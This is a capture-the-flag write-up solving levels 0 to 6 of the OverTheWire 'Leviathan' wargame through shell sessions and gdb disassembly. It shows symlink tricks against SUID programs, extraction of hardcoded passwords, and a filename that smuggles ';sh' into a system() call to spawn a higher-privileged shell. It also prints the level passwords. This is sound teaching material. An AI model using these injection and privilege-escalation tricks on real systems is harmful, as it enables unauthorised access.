Ti Kallisti

OverTheWire "Leviathan" Write-Up

The next installment in the OverTheWire wargame series, "Leviathan" expands upon "Bandit" in that it does not require any programming skills, but rather deals with Linux command line basics. Let's take a look.

Level 0

Just as in "Bandit", we first need to connect via SSH. Then, we can take a look around:

leviathan0@leviathan:~$ ls -la total 24 drwxr-xr-x 3 root root 4096 Aug 26 22:26 . drwxr-xr-x 10 root root 4096 Aug 26 22:26 .. drwxr-x--- 2 leviathan1 leviathan0 4096 Aug 26 22:26 .backup -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc -rw-r--r-- 1 root root 675 May 15 2017 .profile leviathan0@leviathan:~$ cd .backup leviathan0@leviathan:~/.backup$ ls -la total 140 drwxr-x--- 2 leviathan1 leviathan0 4096 Aug 26 22:26 . drwxr-xr-x 3 root root 4096 Aug 26 22:26 .. -rw-r----- 1 leviathan1 leviathan0 133259 Aug 26 22:26 bookmarks.html

The home directory itself contains a folder named ".backup" (which we can see thanks to the -a parameter to our ls call), in which a file called "bookmarks.html" resides. It's a little bit too big to read through it manually, so let us use grep to search for clues that could help us reach the next level (with the username "leviathan1"):

leviathan0@leviathan:~/.backup$ cat bookmarks.html | grep leviathan1 A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is rioGegei8m" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1

This straight-up tells us the password for the next level. So let us move forward!

Level 1

As always, we start off by looking around:

leviathan1@leviathan:~$ ls -la total 28 drwxr-xr-x 2 root root 4096 Aug 26 22:26 . drwxr-xr-x 10 root root 4096 Aug 26 22:26 .. -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc -r-sr-x--- 1 leviathan2 leviathan1 7452 Aug 26 22:26 check -rw-r--r-- 1 root root 675 May 15 2017 .profile

An executable file! This is gonna be interesting. Let's see what it does if we execute it:

leviathan1@leviathan:~$ ./check password: rioGegei8m Wrong password, Good Bye ...

It asks for a password. But it seems the password from the last level isn't what we need. We can check if there is a buffer overflow vulnerability. Sometimes it's as easy as writing a lot of input, which then overflows the buffer and writes to a section in the program's memory where a boolean variable resides, overwriting it. In C, every value for a boolean variable that is not "0" is processed as "true". So if we can write any value to, say, a hypothetical variable called "password_is_correct", we don't need to know the correct password but instead can trick the program into thinking we entered the correct one:

leviathan1@leviathan:~$ ./check password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Wrong password, Good Bye ...

Okay, seems the program is not vulnerable to a buffer overflow. So let's try a different approach. The command strings lists all human-readable strings in a file:

leviathan1@leviathan:~$ strings check /lib/ld-linux.so.2 libc.so.6 _IO_stdin_used puts [...] PTRhp QVh; secrf love UWVS t$,U [^_] [...]

That "love" there seems a bit like the odd one out. With our advanced Hackers trivia knowledge, we know that "love", "secret", "sex" and "god" are the most commonly used passwords. Let's try it out:

leviathan1@leviathan:~$ ./check password: love Wrong password, Good Bye ...

This doesn't seem to have been it. Let's try the others:

leviathan1@leviathan:~$ ./check password: secret Wrong password, Good Bye ... leviathan1@leviathan:~$ ./check password: sex $ id uid=12002(leviathan2) gid=12001(leviathan1) groups=12001(leviathan1)

We know have a shell as leviathan2, and can easily get the passwords. But what about those that have missed out on the Masterpiece that is "Hackers"? Well, there's still a way to figure out the password without a bunch of useless trivia knowledge, albeit a bit more complicated. We can use the GNU Debugger, or gdb for short:

leviathan1@leviathan:~$ gdb ./check

There are two main ways GDB can display assembly code: AT&T or Intel syntax. I personally prefer the Intel syntax, so I set gdb to use exactly that, and then I disassemble the main function (aka I view the assembler code):

(gdb) set disassembly-flavor intel (gdb) disassemble main Dump of assembler code for function main: 0x0804853b <+0>: lea ecx,[esp+0x4] 0x0804853f <+4>: and esp,0xfffffff0 0x08048542 <+7>: push DWORD PTR [ecx-0x4] 0x08048545 <+10>: push ebp 0x08048546 <+11>: mov ebp,esp 0x08048548 <+13>: push ebx 0x08048549 <+14>: push ecx 0x0804854a <+15>: sub esp,0x20 [...] 0x080485a3 <+104>: sub esp,0x8 0x080485a6 <+107>: lea eax,[ebp-0x10] 0x080485a9 <+110>: push eax 0x080485aa <+111>: lea eax,[ebp-0xc] 0x080485ad <+114>: push eax 0x080485ae <+115>: call 0x80483b0 <strcmp@plt> 0x080485b3 <+120>: add esp,0x10 0x080485b6 <+123>: test eax,eax 0x080485b8 <+125>: jne 0x80485e5 <main+170> [...]

Okay, some notes on this: You do not need to know every single assembly command, nor do you need to understand what's happening in every line of the code. If you're new to assembly, I recommend the following:

  1. Make yourself familiar with what a stack is and how it works
  2. Learn how the commands push and pop work (They put data on the stack (push) or get data from the top of it (pop)
  3. Understand what registers are and what they are used for
  4. Get a basic understanding of the C programming language

That should be sufficient for a basic understanding of what is happening. Assembly commands like "lea", "jmp", "jeq" and "jne" would make a great next step at getting a hold at the lanugage.

The most interesting line of the disassembly output is the strcmp call at memory address 0x080485ae (or main+115), as this means that there is a step which checks if two strings are the same. The most likely use-case in the program we have is that it compares the input we give it to the actual password. That means that one of the two addresses that are pushed onto the stack right before the call (main+110 and main+114) will point to the password. In order to analyze the stack at this point of the program execution, we need to pause it right then and there. We do this with the help of breakpoints. We can set a breakpoint like this:

(gdb) break *0x080485ae Breakpoint 1 at 0x80485ae

The "*" before the address tells gdb that we are actually referring to a memory address rather than a function called "0x80485ae". Alternatively, we could also address this line in the code in relation to the start of the main function:

(gdb) break *main+115 Note: breakpoint 1 also set at pc 0x80485ae. Breakpoint 2 at 0x80485ae

And then we run the program:

(gdb) run Starting program: /home/leviathan1/check password:

The program like usual asks us for a passwords, so we shall provide it with one:

password: testpw Breakpoint 1, 0x080485ae in main () (gdb)

After that, the program reaches our breakpoint, is paused and we get back to the gdb interface. Here we can take a look at the stack, using gdb's x command:

(gdb) x/4xw $esp 0xffffd680: 0xffffd6ac 0xffffd6a8 0xffffd6b8 0x0804859c

We examine the first 4 hex words (word = 4 bytes) at the memory address where the stack pointer (esp) is pointing to.

Now lets examine the strings at the first two addresses, as those are the ones passed to the strcmp function:

(gdb) x/s 0xffffd6ac 0xffffd6ac: "tes" (gdb) x/s 0xffffd6a8 0xffffd6a8: "sex"

The interesting thing here is that apparently only the first three letters of our input "testpw" are saved into memory. That is efficient, because the actual password is only three letters long, as we can see. We now know the password, so let's exit gdb and execute the "check" program normally:

(gdb) quit leviathan1@leviathan:~$ ./check password: sex $ id uid=12002(leviathan2) gid=12001(leviathan1) groups=12001(leviathan1)

As we now have a shell as leviathan2, let's grab the password and move on to the next level:

$ cat /etc/leviathan_pass/leviathan2 ougahZi8Ta

Level 2

We start as usual:

leviathan2@leviathan:~$ ls -la total 28 drwxr-xr-x 2 root root 4096 Aug 26 22:26 . drwxr-xr-x 10 root root 4096 Aug 26 22:26 .. -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc -r-sr-x--- 1 leviathan3 leviathan2 7436 Aug 26 22:26 printfile -rw-r--r-- 1 root root 675 May 15 2017 .profile

Another executable, with a set SUID bit. Let's run it first and see what it does:

leviathan2@leviathan:~$ ./printfile *** File Printer *** Usage: ./printfile filename

As the name suggests, it's a program that prints files. Maybe we can print the password for the next level right away?

leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan3 You cant have that file...

Would have been too easy, wouldn't it?

Maybe the program checks for the filename? If so, we have a chance that if we create a symlink first, we can trick the program into outputting the password:

leviathan2@leviathan:~$ ln -s /etc/leviathan_pass/leviathan3 /tmp/ti-kallisti_password_3 leviathan2@leviathan:~$ ls -la /tmp/ti-kallisti_password_3 lrwxrwxrwx 1 leviathan2 root 30 Feb 14 11:08 /tmp/ti-kallisti_password_3 -> /etc/leviathan_pass/leviathan3 leviathan2@leviathan:~$ ./printfile /tmp/ti-kallisti_password_3 You cant have that file...

Hmmm. Let's take a look at the code:

leviathan2@leviathan:~$ gdb ./printfile (gdb) set disassembly-flavor intel (gdb) disass main Dump of assembler code for function main: 0x0804852b <+0>: lea ecx,[esp+0x4] 0x0804852f <+4>: and esp,0xfffffff0 0x08048532 <+7>: push DWORD PTR [ecx-0x4] 0x08048535 <+10>: push ebp 0x08048536 <+11>: mov ebp,esp 0x08048538 <+13>: push ebx 0x08048539 <+14>: push ecx 0x0804853a <+15>: sub esp,0x200 0x08048540 <+21>: mov ebx,ecx 0x08048542 <+23>: cmp DWORD PTR [ebx],0x1 0x08048545 <+26>: jg 0x8048577 0x08048547 <+28>: sub esp,0xc 0x0804854a <+31>: push 0x8048690 0x0804854f <+36>: call 0x80483c0 <puts@plt> 0x08048554 <+41>: add esp,0x10 0x08048557 <+44>: mov eax,DWORD PTR [ebx+0x4] 0x0804855a <+47>: mov eax,DWORD PTR [eax] 0x0804855c <+49>: sub esp,0x8 0x0804855f <+52>: push eax 0x08048560 <+53>: push 0x80486a5 0x08048565 <+58>: call 0x80483a0 <printf@plt> 0x0804856a <+63>: add esp,0x10 0x0804856d <+66>: mov eax,0xffffffff 0x08048572 <+71>: jmp 0x80485fa <main+207> 0x08048577 <+76>: mov eax,DWORD PTR [ebx+0x4] 0x0804857a <+79>: add eax,0x4 0x0804857d <+82>: mov eax,DWORD PTR [eax] 0x0804857f <+84>: sub esp,0x8 0x08048582 <+87>: push 0x4 0x08048584 <+89>: push eax 0x08048585 <+90>: call 0x8048410 <access@plt> 0x0804858a <+95>: add esp,0x10 0x0804858d <+98>: test eax,eax 0x0804858f <+100>: je 0x80485a8 <main+125> 0x08048591 <+102>: sub esp,0xc 0x08048594 <+105>: push 0x80486b9 0x08048599 <+110>: call 0x80483c0 <puts@plt> 0x0804859e <+115>: add esp,0x10 0x080485a1 <+118>: mov eax,0x1 0x080485a6 <+123>: jmp 0x80485fa <main+207> 0x080485a8 <+125>: mov eax,DWORD PTR [ebx+0x4] 0x080485ab <+128>: add eax,0x4 0x080485ae <+131>: mov eax,DWORD PTR [eax] 0x080485b0 <+133>: push eax 0x080485b1 <+134>: push 0x80486d4 0x080485b6 <+139>: push 0x1ff 0x080485bb <+144>: lea eax,[ebp-0x208] 0x080485c1 <+150>: push eax 0x080485c2 <+151>: call 0x8048400 <snprintf@plt> 0x080485c7 <+156>: add esp,0x10 0x080485ca <+159>: call 0x80483b0 <geteuid@plt> 0x080485cf <+164>: mov ebx,eax 0x080485d1 <+166>: call 0x80483b0 <geteuid@plt> 0x080485d6 <+171>: sub esp,0x8 0x080485d9 <+174>: push ebx 0x080485da <+175>: push eax 0x080485db <+176>: call 0x80483e0 <setreuid@plt> 0x080485e0 <+181>: add esp,0x10 0x080485e3 <+184>: sub esp,0xc 0x080485e6 <+187>: lea eax,[ebp-0x208] 0x080485ec <+193>: push eax 0x080485ed <+194>: call 0x80483d0 <system@plt> 0x080485f2 <+199>: add esp,0x10 [...]

Side note: gdb can recognize command stubs, if they are unambiguous. For example, there is no other command starting with "disass", so gdb knows we mean "disassemble". Another example would be to write "b" instead of "break", because "break" is the only command starting with "b". There are many more, and they save time, so it pays to learn them over time.

What we can see here, is that later in the program, the reuid is changed later in the program (0x080485db or main+176). This will probably make use of the SUID bit and set the user to leviathan3. BUT, a lot earlier (0x08048585 or main+90), there is an access check, and if it fails, the program jumps to the end (0x080485a6 or main+123). This means, that if we can't access a a file as leviathan2, the program just quits and never reads it as leviathan3.

In 0x080485b1 or main+134 there is a value from an address(0x80486d4) push two the stack and a few lines later there is a snprint call. It is safe to assume that this is a string that is copied to a variable.

So let's take a look at that string:

(gdb) x/s 0x80486d4 0x80486d4: "/bin/cat %s"

Houston, we have a cat command. The %s format character implies that something is just put as is after it. The most likely candidate: The filename we passed in the beginning. So we have a string variable. Where could it be used. The only function call later in the program that expects a string parameter is system. So that will then call "/bin/cat [filename]", probably as leviathan3. This just opens a file, though. But, thanks to how the Linux command line works, we can trick the program into executing whatever we won't.

We can create a file that contains ";". The access() check will be able to properly read the name and process it. The cat call though will only recognize the part before the ";". Everything after that will be processed as a new command. A helpful command could be "cat /etc/leviathan_pass/leviathan3". But sadly, we cannot use slash characters in a filename. So we have to find another command to execute. How about "sh"? That will give us a shell. And from there, we can do everything we want. Let's do it: One note: We need to put the filename in quotes when creating it and passing it to the "printfile" executable, because otherwise we would encounter the same problem we are trying to abuse here:

leviathan2@leviathan:~$ touch "/tmp/ti-kallisti;sh" leviathan2@leviathan:~$ ./printfile "/tmp/ti-kallisti;sh" /bin/cat: /tmp/ti-kallisti: No such file or directory $ id uid=12003(leviathan3) gid=12002(leviathan2) groups=12002(leviathan2)

Ladies and gentlemen, we got him! Now that we have a shell as leviathan, all that's left to do is grab the password and move on:

$ cat /etc/leviathan_pass/leviathan3 Ahdiemoo1j

Level 3

There is a pattern here. So how we approach these challenges will also contain patterns. List the home directory, if there is an executable, run it, and then disassemble it. Let's do exactly that:

leviathan3@leviathan:~$ ls -la total 32 drwxr-xr-x 2 root root 4096 Aug 26 22:26 . drwxr-xr-x 10 root root 4096 Aug 26 22:26 .. -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc -r-sr-x--- 1 leviathan4 leviathan3 10288 Aug 26 22:26 level3 -rw-r--r-- 1 root root 675 May 15 2017 .profile leviathan3@leviathan:~$ ./level3 Enter the password> abcde bzzzzzzzzap. WRONG leviathan3@leviathan:~$ gdb ./level3 (gdb) set disassembly-flavor intel (gdb) disass main Dump of assembler code for function main: 0x08048618 <+0>: lea ecx,[esp+0x4] 0x0804861c <+4>: and esp,0xfffffff0 0x0804861f <+7>: push DWORD PTR [ecx-0x4] 0x08048622 <+10>: push ebp 0x08048623 <+11>: mov ebp,esp 0x08048625 <+13>: push ecx 0x08048626 <+14>: sub esp,0x34 0x08048629 <+17>: mov DWORD PTR [ebp-0x13],0x626d6f62 0x08048630 <+24>: mov WORD PTR [ebp-0xf],0x6461 0x08048636 <+30>: mov BYTE PTR [ebp-0xd],0x0 0x0804863a <+34>: mov DWORD PTR [ebp-0x1d],0x732e2e2e 0x08048641 <+41>: mov DWORD PTR [ebp-0x19],0x33726333 0x08048648 <+48>: mov WORD PTR [ebp-0x15],0x74 0x0804864e <+54>: mov DWORD PTR [ebp-0x24],0x6f6e3068 0x08048655 <+61>: mov WORD PTR [ebp-0x20],0x3333 0x0804865b <+67>: mov BYTE PTR [ebp-0x1e],0x0 0x0804865f <+71>: mov DWORD PTR [ebp-0x2b],0x616b616b 0x08048666 <+78>: mov WORD PTR [ebp-0x27],0x616b 0x0804866c <+84>: mov BYTE PTR [ebp-0x25],0x0 0x08048670 <+88>: mov DWORD PTR [ebp-0x35],0x2e32332a 0x08048677 <+95>: mov DWORD PTR [ebp-0x31],0x785b2a32 0x0804867e <+102>: mov WORD PTR [ebp-0x2d],0x5d 0x08048684 <+108>: sub esp,0x8 0x08048687 <+111>: lea eax,[ebp-0x2b] 0x0804868a <+114>: push eax 0x0804868b <+115>: lea eax,[ebp-0x24] 0x0804868e <+118>: push eax 0x0804868f <+119>: call 0x80483d0 <strcmp@plt> 0x08048694 <+124>: add esp,0x10 0x08048697 <+127>: test eax,eax 0x08048699 <+129>: jne 0x80486a2 <main+138> 0x0804869b <+131>: mov DWORD PTR [ebp-0xc],0x1 0x080486a2 <+138>: sub esp,0xc 0x080486a5 <+141>: push 0x804877f 0x080486aa <+146>: call 0x80483e0 <printf@plt> 0x080486af <+151>: add esp,0x10 0x080486b2 <+154>: call 0x804855b <do_stuff> 0x080486b7 <+159>: mov eax,0x0 0x080486bc <+164>: mov ecx,DWORD PTR [ebp-0x4] 0x080486bf <+167>: leave 0x080486c0 <+168>: lea esp,[ecx-0x4] 0x080486c3 <+171>: ret End of assembler dump.

In 0x080486b2 or main+154, there is a call to a function without an "@plt" at the end, that means that this is not a function that is provided by the system but rather a custom one that is part of the program. Let's disassemble that, too, for good measure:

(gdb) disass do_stuff Dump of assembler code for function do_stuff: 0x0804855b <+0>: push ebp 0x0804855c <+1>: mov ebp,esp 0x0804855e <+3>: push ebx 0x0804855f <+4>: sub esp,0x114 0x08048565 <+10>: mov DWORD PTR [ebp-0x113],0x706c6e73 0x0804856f <+20>: mov DWORD PTR [ebp-0x10f],0x746e6972 0x08048579 <+30>: mov WORD PTR [ebp-0x10b],0xa66 0x08048582 <+39>: mov BYTE PTR [ebp-0x109],0x0 0x08048589 <+46>: mov eax,ds:0x804a040 0x0804858e <+51>: sub esp,0x4 0x08048591 <+54>: push eax 0x08048592 <+55>: push 0x100 0x08048597 <+60>: lea eax,[ebp-0x108] 0x0804859d <+66>: push eax 0x0804859e <+67>: call 0x80483f0 <fgets@plt> 0x080485a3 <+72>: add esp,0x10 0x080485a6 <+75>: sub esp,0x8 0x080485a9 <+78>: lea eax,[ebp-0x113] 0x080485af <+84>: push eax 0x080485b0 <+85>: lea eax,[ebp-0x108] 0x080485b6 <+91>: push eax 0x080485b7 <+92>: call 0x80483d0 <strcmp@plt> 0x080485bc <+97>: add esp,0x10 0x080485bf <+100>: test eax,eax 0x080485c1 <+102>: jne 0x80485fe <do_stuff+163> 0x080485c3 <+104>: sub esp,0xc 0x080485c6 <+107>: push 0x8048750 0x080485cb <+112>: call 0x8048410 <puts@plt> 0x080485d0 <+117>: add esp,0x10 0x080485d3 <+120>: call 0x8048400 <geteuid@plt> 0x080485d8 <+125>: mov ebx,eax 0x080485da <+127>: call 0x8048400 <geteuid@plt> 0x080485df <+132>: sub esp,0x8 0x080485e2 <+135>: push ebx 0x080485e3 <+136>: push eax 0x080485e4 <+137>: call 0x8048430 <setreuid@plt> 0x080485e9 <+142>: add esp,0x10 0x080485ec <+145>: sub esp,0xc 0x080485ef <+148>: push 0x8048764 0x080485f4 <+153>: call 0x8048420 <system@plt> 0x080485f9 <+158>: add esp,0x10 0x080485fc <+161>: jmp 0x804860e <do_stuff+179> 0x080485fe <+163>: sub esp,0xc 0x08048601 <+166>: push 0x804876c 0x08048606 <+171>: call 0x8048410 <puts@plt> 0x0804860b <+176>: add esp,0x10 0x0804860e <+179>: mov eax,0x0 0x08048613 <+184>: mov ebx,DWORD PTR [ebp-0x4] 0x08048616 <+187>: leave 0x08048617 <+188>: ret End of assembler dump.

Now we have a good overlook of what the program is doing.

We have a similar pattern as in the previous level. In 0x080485e4 or , the ruid is changed. Some lines later, in 0x080485f4 or , there is a system call. In the line just before that, an address is pushed to the stack. This will most likely be a system command string. Let's take a look:

(gdb) x/s 0x8048764 0x8048764: "/bin/sh"

It's already a shell command! So all we have to do is avoid that in 0x080485c1 or the jump to is executed. So we have to somehow achieve that the strcmp in 0x080485b7 or returns "0" (which means that the two strings that needed to be compared are equal). As the addresses for the strings are not absolute, but relative to ebp, let's set a breakpoint and look at the values at runtime:

(gdb) b *0x080485b7 Breakpoint 1 at 0x80485b7: file level3.c, line 12. (gdb) r Starting program: /home/leviathan3/level3 Enter the password> ti-kallisti Breakpoint 1, 0x080485b7 in do_stuff () at level3.c:12 (gdb) x/4xw $esp 0xffffd540: 0xffffd560 0xffffd555 0xf7fc55a0 0x00000000 (gdb) x/s 0xffffd560 0xffffd560: "ti-kallisti\n" (gdb) x/s 0xffffd555 0xffffd555: "snlprintf\n"

As we can see, the two addresses at the top of the stack at the time of the string compare are pointing to our input ("ti-kallisti") and the string "snlprintf". That means that that is what our input is compared to. That can't be the password, can it? Let's try it:

leviathan3@leviathan:~$ ./level3 Enter the password> snlprintf [You've got shell]! $

It actually is! Who would've thought. Let's grab the password for the next level and move on:

$ cat /etc/leviathan_pass/leviathan4 vuH0coox6m

Level 4

leviathan4@leviathan:~$ ls -la total 24 drwxr-xr-x 3 root root 4096 Aug 26 22:26 . drwxr-xr-x 10 root root 4096 Aug 26 22:26 .. -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc -rw-r--r-- 1 root root 675 May 15 2017 .profile dr-xr-x--- 2 root leviathan4 4096 Aug 26 22:26 .trash leviathan4@leviathan:~$ cd .trash leviathan4@leviathan:~/.trash$ ls -la total 16 dr-xr-x--- 2 root leviathan4 4096 Aug 26 22:26 . drwxr-xr-x 3 root root 4096 Aug 26 22:26 .. -r-sr-x--- 1 leviathan5 leviathan4 7352 Aug 26 22:26 bin leviathan4@leviathan:~/.trash$ ./bin 01010100 01101001 01110100 01101000 00110100 01100011 01101111 01101011 01100101 01101001 00001010

What do we have here? An executable that prints out a bunch of binary data. Could that be an ASCII representation of the password for the next level? Let's find out. If we enter the binary in any online binary to text converter, we get the following text:

Tith4cokei

Which, if we try it out, is actually already the password to the next level!

Level 5

leviathan5@leviathan:~$ ls -la total 28 drwxr-xr-x 2 root root 4096 Aug 26 22:26 . drwxr-xr-x 10 root root 4096 Aug 26 22:26 .. -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc -r-sr-x--- 1 leviathan6 leviathan5 7560 Aug 26 22:26 leviathan5 -rw-r--r-- 1 root root 675 May 15 2017 .profile leviathan5@leviathan:~$ ./leviathan5 Cannot find /tmp/file.log

This little executable seems to be looking for a file name "/tmp/file.log". Let's take a look at the code to see what the program wants to do with that file:

leviathan5@leviathan:~$ gdb ./leviathan5 (gdb) set disassembly-flavor intel (gdb) disass main Dump of assembler code for function main: 0x080485db <+0>: lea ecx,[esp+0x4] 0x080485df <+4>: and esp,0xfffffff0 0x080485e2 <+7>: push DWORD PTR [ecx-0x4] 0x080485e5 <+10>: push ebp 0x080485e6 <+11>: mov ebp,esp 0x080485e8 <+13>: push ecx 0x080485e9 <+14>: sub esp,0x14 0x080485ec <+17>: sub esp,0x8 0x080485ef <+20>: push 0x8048720 0x080485f4 <+25>: push 0x8048722 0x080485f9 <+30>: call 0x8048490 <fopen@plt> 0x080485fe <+35>: add esp,0x10 0x08048601 <+38>: mov DWORD PTR [ebp-0xc],eax 0x08048604 <+41>: cmp DWORD PTR [ebp-0xc],0x0 0x08048608 <+45>: jne 0x8048624 <main+73> 0x0804860a <+47>: sub esp,0xc 0x0804860d <+50>: push 0x8048730 0x08048612 <+55>: call 0x8048450 <puts@plt> 0x08048617 <+60>: add esp,0x10 0x0804861a <+63>: sub esp,0xc 0x0804861d <+66>: push 0xffffffff 0x0804861f <+68>: call 0x8048460 <exit@plt> 0x08048624 <+73>: sub esp,0xc 0x08048627 <+76>: push DWORD PTR [ebp-0xc] 0x0804862a <+79>: call 0x80484b0 <fgetc@plt> 0x0804862f <+84>: add esp,0x10 0x08048632 <+87>: mov BYTE PTR [ebp-0xd],al 0x08048635 <+90>: sub esp,0xc 0x08048638 <+93>: push DWORD PTR [ebp-0xc] 0x0804863b <+96>: call 0x8048470 <feof@plt> 0x08048640 <+101>: add esp,0x10 0x08048643 <+104>: test eax,eax 0x08048645 <+106>: jne 0x8048659 <main+126> 0x08048647 <+108>: movsx eax,BYTE PTR [ebp-0xd] 0x0804864b <+112>: sub esp,0xc 0x0804864e <+115>: push eax 0x0804864f <+116>: call 0x80484a0 <putchar@plt> 0x08048654 <+121>: add esp,0x10 0x08048657 <+124>: jmp 0x8048624 <main+73> 0x08048659 <+126>: nop 0x0804865a <+127>: sub esp,0xc 0x0804865d <+130>: push DWORD PTR [ebp-0xc] 0x08048660 <+133>: call 0x8048420 <fclose@plt> 0x08048665 <+138>: add esp,0x10 0x08048668 <+141>: call 0x8048430 <getuid@plt> 0x0804866d <+146>: sub esp,0xc 0x08048670 <+149>: push eax 0x08048671 <+150>: call 0x80484c0 <setuid@plt> 0x08048676 <+155>: add esp,0x10 0x08048679 <+158>: sub esp,0xc 0x0804867c <+161>: push 0x8048722 0x08048681 <+166>: call 0x8048440 <unlink@plt> 0x08048686 <+171>: add esp,0x10 0x08048689 <+174>: mov eax,0x0 0x0804868e <+179>: mov ecx,DWORD PTR [ebp-0x4] 0x08048691 <+182>: leave 0x08048692 <+183>: lea esp,[ecx-0x4] 0x08048695 <+186>: ret End of assembler dump.

Nothing special. The executable opens a file (most likely "/tmp/file.log") (0x080485f9 or main+30), reads every character in it (0x0804862a or main+79), prints it to the screen (0x0804864f or main+116) and then deletes the file (0x08048681 or main+166) using unlink.

We can use this to our advantage. We can create a symlink that points to the password file, and name it so that the executable reads it for us:

leviathan5@leviathan:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log leviathan5@leviathan:~$ ./leviathan5 UgaoFee4li

We got that!

Level 6

leviathan6@leviathan:~$ ls -la total 28 drwxr-xr-x 2 root root 4096 Aug 26 22:26 . drwxr-xr-x 10 root root 4096 Aug 26 22:26 .. -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc -r-sr-x--- 1 leviathan7 leviathan6 7452 Aug 26 22:26 leviathan6 -rw-r--r-- 1 root root 675 May 15 2017 .profile leviathan6@leviathan:~$ ./leviathan6 usage: ./leviathan6

The program wants a four digit code. Easy to bruteforce, but let's first look at the code and see if we can avoid that - the challenge says that it does not require any programming knowledge at all, after all.

leviathan6@leviathan:~$ gdb ./leviathan6 (gdb) set disassembly-flavor intel (gdb) disass main Dump of assembler code for function main: 0x0804853b <+0>: lea ecx,[esp+0x4] 0x0804853f <+4>: and esp,0xfffffff0 0x08048542 <+7>: push DWORD PTR [ecx-0x4] 0x08048545 <+10>: push ebp 0x08048546 <+11>: mov ebp,esp 0x08048548 <+13>: push ebx 0x08048549 <+14>: push ecx 0x0804854a <+15>: sub esp,0x10 0x0804854d <+18>: mov eax,ecx 0x0804854f <+20>: mov DWORD PTR [ebp-0xc],0x1bd3 0x08048556 <+27>: cmp DWORD PTR [eax],0x2 0x08048559 <+30>: je 0x804857b <main+64> 0x0804855b <+32>: mov eax,DWORD PTR [eax+0x4] 0x0804855e <+35>: mov eax,DWORD PTR [eax] 0x08048560 <+37>: sub esp,0x8 0x08048563 <+40>: push eax 0x08048564 <+41>: push 0x8048660 0x08048569 <+46>: call 0x80483b0 <printf@plt> 0x0804856e <+51>: add esp,0x10 0x08048571 <+54>: sub esp,0xc 0x08048574 <+57>: push 0xffffffff 0x08048576 <+59>: call 0x80483f0 <exit@plt> 0x0804857b <+64>: mov eax,DWORD PTR [eax+0x4] 0x0804857e <+67>: add eax,0x4 0x08048581 <+70>: mov eax,DWORD PTR [eax] 0x08048583 <+72>: sub esp,0xc 0x08048586 <+75>: push eax 0x08048587 <+76>: call 0x8048420 <atoi@plt> 0x0804858c <+81>: add esp,0x10 0x0804858f <+84>: cmp eax,DWORD PTR [ebp-0xc] 0x08048592 <+87>: jne 0x80485bf <main+132> 0x08048594 <+89>: call 0x80483c0 <geteuid@plt> 0x08048599 <+94>: mov ebx,eax 0x0804859b <+96>: call 0x80483c0 <geteuid@plt> 0x080485a0 <+101>: sub esp,0x8 0x080485a3 <+104>: push ebx 0x080485a4 <+105>: push eax 0x080485a5 <+106>: call 0x8048400 <setreuid@plt> 0x080485aa <+111>: add esp,0x10 0x080485ad <+114>: sub esp,0xc 0x080485b0 <+117>: push 0x804867a 0x080485b5 <+122>: call 0x80483e0 <system@plt> 0x080485ba <+127>: add esp,0x10 0x080485bd <+130>: jmp 0x80485cf <main+148> 0x080485bf <+132>: sub esp,0xc 0x080485c2 <+135>: push 0x8048682 0x080485c7 <+140>: call 0x80483d0 <puts@plt> 0x080485cc <+145>: add esp,0x10 0x080485cf <+148>: mov eax,0x0 0x080485d4 <+153>: lea esp,[ebp-0x8] 0x080485d7 <+156>: pop ecx 0x080485d8 <+157>: pop ebx 0x080485d9 <+158>: pop ebp 0x080485da <+159>: lea esp,[ecx-0x4] 0x080485dd <+162>: ret End of assembler dump.

Examining the parameter to the system call in 0x080485b5 or main+122 shows us that we already have our shell command:

(gdb) x/s 0x804867a 0x804867a: "/bin/sh"

We just have to avoid that jump in 0x08048592 or main+87 by entering the password that our input is compared to in 0x0804858f or main+84. Let's set a breakpoint and look at the values:

(gdb) b *0x0804858f Breakpoint 1 at 0x804858f (gdb) r 1234 Starting program: /home/leviathan6/leviathan6 1234 Breakpoint 1, 0x0804858f in main () (gdb) x/d $ebp-0xc 0xffffd67c: 7123

We can see that the password for the executable is 7123. So let's use that:

leviathan6@leviathan:~$ ./leviathan6 7123 $

Ladies and gentleman, we got him a shell!

Let's grab the password:

$ cat /etc/leviathan_pass/leviathan7 ahy7MaeBo9

Done and Done! This is it for now. We beat all levels of Leviathan.